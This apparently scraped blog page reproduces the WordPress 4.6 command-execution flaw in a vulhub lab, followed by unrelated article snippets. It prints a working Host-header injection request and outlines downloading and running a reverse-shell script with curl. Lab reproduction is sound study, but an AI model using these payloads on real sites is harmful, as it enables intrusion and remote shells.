vulhub中Wordpress 4.6 任意命令执行漏洞复现
由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。

发送如下数据包,可见/tmp/success已经成功创建:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=admin


但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:
-
执行的命令不能包含大量特殊字符,如
:、引号等。 -
命令会被转换成小写字母
-
命令需要使用绝对路径
-
需要知道某一个存在的用户的用户名
为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。
但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。
所以,总体来说利用过程如下:
-
编写反弹shell的exp,放到某个网页里。有如下要求:
-
整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
-
访问该网页不能跳转,因为follow跳转的参数是
-L(大写)
-
-
拼接成命令
/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce -
将上述命令中的空格和
/转换成${substr{10}{1}{$tod_log}}和${substr{0}{1}{$spool_directory}} -
拼接成HTTP包的Host头:
target(any -froot@localhost -be ${run{command}} null) -
依次发送这两个拼接好的数据包
相关文章:
vulhub中Wordpress 4.6 任意命令执行漏洞复现
由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。 发送如下数据包,可见/tmp…...
ETCD分布式缓存
一、ETCD简介 ETCD是一个高度可用的分布式键值存储系统,主要用于共享配置和服务发现。它基于Go语言实现,内部使用Raft一致性算法处理日志复制,保证多节点数据的强一致性。 ETCD的目标是构建一个高可用的分布式键值数据库,用于存…...
【Linux】iftop命令详解
目录 一、iftop简介 二、安装iftop命令 2.1 命令查看测试环境系统信息 2.2 查看iftop版本与命令帮助 三、iftop的基本使用 3.1 直接使用iftop命令 3.2 iftop的显示说明 3.3 指定监控某块网卡 3.4 显示某个网段进出封包流量 3.5 按照流量排序 3.6 过滤显示连接 3.7 …...
【蓝桥杯】Excel地址
一.题目描述 二.问题分析 类似于进制转换 //Excel地址 #include <iostream> #include <stack> using namespace std;//const int N1e22; long long n; stack <char> s;int main(int argc, const char * argv[]) {ios::sync_with_stdio(0);cin.tie(0);cout.…...
Spring Boot 生成与解析Jwt
Spring Boot 生成与解析Jwt Maven依赖 <dependency><groupId>io.jsonwebtoken</groupId><artifactId>jjwt</artifactId><version>0.9.1</version> </dependency>生成&解析 package yang;import io.jsonwebtoken.Claims…...
安卓Java面试题11-20
🔥 11、Android本身的API并未声明会抛出异常,则其在运行时有无可能抛出runtime异常,如何解决?🔥 会,比如nullpointerException。我遇到过,比如textview.setText()时,textview没有初始化。会导致程序无法正常运行出现forceclose。打开控制台查看logcat信息找出异常信…...
SSL 证书,了解一下常识
公司的网站、应用怎么才能保证在互联网上安全运行,不被攻击、盗取数据呢? 创业必经之路,一步一步走就对了,可能没赶上红利期,但不做就等于0。 概述 SSL 证书(SSL Certificates)又称数字证书&am…...
react tab选项卡吸顶实现
react tab选项卡吸顶实现,直接上代码(代码有注释) tsx代码 /* eslint-disable react-hooks/exhaustive-deps */ import React, { useEffect, useState } from "react"; import DocumentTitle from react-document-title import s…...
【数据结构】二、线性表:6.顺序表和链表的对比不同(从数据结构三要素讨论:逻辑结构、物理结构(存储结构)、数据运算(基本操作))
文章目录 6.对比:顺序表&链表6.1逻辑结构6.2物理结构(存储结构)6.2.1顺序表6.2.2链表 6.3数据运算(基本操作)6.3.1初始化6.3.2销毁表6.3.3插入、删除6.3.4查找 6.对比:顺序表&链表 6.1逻辑结构 顺…...
Golang单例模式学习笔记
前言 单例模式是常用的一种设计模式,一般用于比如客户端、连接的创建等,防止创建多个导致性能消耗。所以我认为单例模式的核心,就是“防止重复”。本文将在Golang中进行单例模式的实现。 实现 版本1——检测-创建 最基础的版本࿰…...
Leetcode HOT150
55. 跳跃游戏 给你一个非负整数数组 nums ,你最初位于数组的 第一个下标 。数组中的每个元素代表你在该位置可以跳跃的最大长度。 判断你是否能够到达最后一个下标,如果可以,返回 true ;否则,返回 false 。 示例 1 …...
仿牛客项目Day1
SpringMVC 架构 spring的前端控制器是DispatcherServlet 模板引擎Thymeleaf 这个还不知道干嘛的 mvc演示 get请求 RequestMapping:声明访问路径和http方法get或set什么的 ResponseBody:java对象转为json格式的数据,表示该方法的返回结…...
Effective C++ 学习笔记 条款17 以独立语句将newed对象置入智能指针
假设我们有个函数用来揭示处理程序的优先权,另一个函数用来在某动态分配所得的Widget上进行某些带有优先权的处理: int priority();void processWidget(std::st1::shared_ptr<Widget> pw, int priority);由于谨记“以对象管理资源”(条…...
通过Electron打包前端项目为exe
🧑🎓 个人主页:爱蹦跶的大A阿 🔥当前正在更新专栏:《JavaScript保姆级教程》、《VUE》、《Krpano》 ✨ 正文 1、 拉取electron官网上的demo,拉下来之后安装依赖,项目跑起来之后,就…...
大模型时代企业知识全生命周期管理解决方案
©作者|Zhongmei 来源|神州问学 摘 要 越来越多的企业开始意识到数据的重要性。同时意识到,企业想保持长远的发展,还需要协调组织协作、利用现有的数据沉淀经验知识、累积数据资产。据IDC调查,目前企业结构化数据仅占到全部数据量的20%…...
C#冒泡排序算法
冒泡排序实现原理 冒泡排序是一种简单的排序算法,其原理如下: 从待排序的数组的第一个元素开始,依次比较相邻的两个元素。 如果前面的元素大于后面的元素(升序排序),则交换这两个元素的位置,使…...
【前端寻宝之路】总结学习使用CSS的引入方式
🌈个人主页: Aileen_0v0 🔥热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法|MySQL| 💫个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-BNJBIEvpN0GHNeJ1 {font-family:"trebuchet ms",verdana,arial,sans-serif;f…...
Python中输入输出函数input和print用法
# 读入一个字符串 s input() print(s)abcdef abcdef# 读入一个整数 n int(input()) print(n)5 5# 读入两个整数(空格间隔) # input()表示读入一行字符串 # split()表示以空格间隔切分出多个字符串序列,如果逗号间隔可以加参数split(,) # map()将序列每个元素转为整…...
简单认识Linux
今天带大家简单认识一下Linux,它和我们日常用的Windows有什么不同呢? Linux介绍 Linux内核&发行版 Linux内核版本 内核(kernel)是系统的心脏,是运行程序和管理像磁盘和打印机等硬件设备的核心程序,它提供了一个在裸设备与…...
javascript正则深入
文章目录 一、前言二、高级`API`2.1、模式匹配的用法`(x)`2.2、非捕获括号的模式匹配`(?:x)`2.3、先行断言`x(?=y)`2.4、后行断言`(?<=y)x`2.5、正向否定查找`x(?!y)`2.6、反向否定查找`(?<!y)x`2.7、字符集合和反向字符集合的用法 `[xyz] / [^xyz]`2.8、词边界和非…...
利用最小二乘法找圆心和半径
#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...
【OSG学习笔记】Day 18: 碰撞检测与物理交互
物理引擎(Physics Engine) 物理引擎 是一种通过计算机模拟物理规律(如力学、碰撞、重力、流体动力学等)的软件工具或库。 它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互,广泛应用于 游戏开发、动画制作、虚…...
工业安全零事故的智能守护者:一体化AI智能安防平台
前言: 通过AI视觉技术,为船厂提供全面的安全监控解决方案,涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面,能够实现对应负责人反馈机制,并最终实现数据的统计报表。提升船厂…...
线程与协程
1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指:像函数调用/返回一样轻量地完成任务切换。 举例说明: 当你在程序中写一个函数调用: funcA() 然后 funcA 执行完后返回&…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
抖音增长新引擎:品融电商,一站式全案代运营领跑者
抖音增长新引擎:品融电商,一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中,品牌如何破浪前行?自建团队成本高、效果难控;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...
自然语言处理——循环神经网络
自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM)…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
视觉slam十四讲实践部分记录——ch2、ch3
ch2 一、使用g++编译.cpp为可执行文件并运行(P30) g++ helloSLAM.cpp ./a.out运行 二、使用cmake编译 mkdir build cd build cmake .. makeCMakeCache.txt 文件仍然指向旧的目录。这表明在源代码目录中可能还存在旧的 CMakeCache.txt 文件,或者在构建过程中仍然引用了旧的路…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
